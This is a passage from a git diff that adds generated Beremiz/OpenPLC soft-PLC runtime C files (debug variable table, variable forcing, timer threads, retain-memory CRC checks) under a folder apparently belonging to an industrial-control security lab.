+{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if 